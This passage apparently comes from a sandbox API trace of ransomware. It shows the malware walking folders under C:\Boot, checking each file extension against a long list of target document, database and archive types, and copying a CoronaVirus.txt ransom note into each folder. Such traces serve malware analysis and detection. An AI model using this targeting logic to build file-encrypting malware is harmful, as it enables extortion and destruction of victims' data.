	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.306] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01ef15, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb01ef15, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.306] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.306] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.306] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.306] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.306] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.306] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.306] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.307] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.307] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.307] malloc (_Size=0x1000) returned 0x2f3e5f8
	[0083.307] _swprintf (in: param_1=0x2f3e5f8, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR\\CoronaVirus.txt") returned 29
	[0083.307] wcsstr (_Str="C:\\Boot\\ko-KR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.307] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.307] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.307] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.307] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.307] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.308] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.308] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.309] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.309] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.310] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.310] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.310] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.310] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.310] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0083.310] wcsncmp (_String1="l", _String2=".", _MaxCount=0x1) returned 62
	[0083.310] wcsncmp (_String1="lt", _String2="..", _MaxCount=0x2) returned 62
	[0083.310] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\lt-LT") returned 13
	[0083.310] wcsncmp (_String1="C:\\Boot\\l", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.310] wcsstr (_Str="C:\\Boot\\lt-LT", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.310] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\lt-LT\\CoronaVirus.txt" (normalized: "c:\\boot\\lt-lt\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.313] _alloca_probe () returned 0x4036d0
	[0083.313] GetFullPathNameW (in: lpFileName="C:\\Boot\\lt-LT", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\lt-LT", lpFilePart=0x316583c*="lt-LT") returned 0xd
	[0083.313] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb04513f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.313] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.313] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb04513f, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.313] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.313] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.313] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.313] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.313] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.313] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.313] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.313] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.313] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.314] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.314] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.315] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.315] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.316] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.316] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb04513f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb04513f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.316] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.316] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.316] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
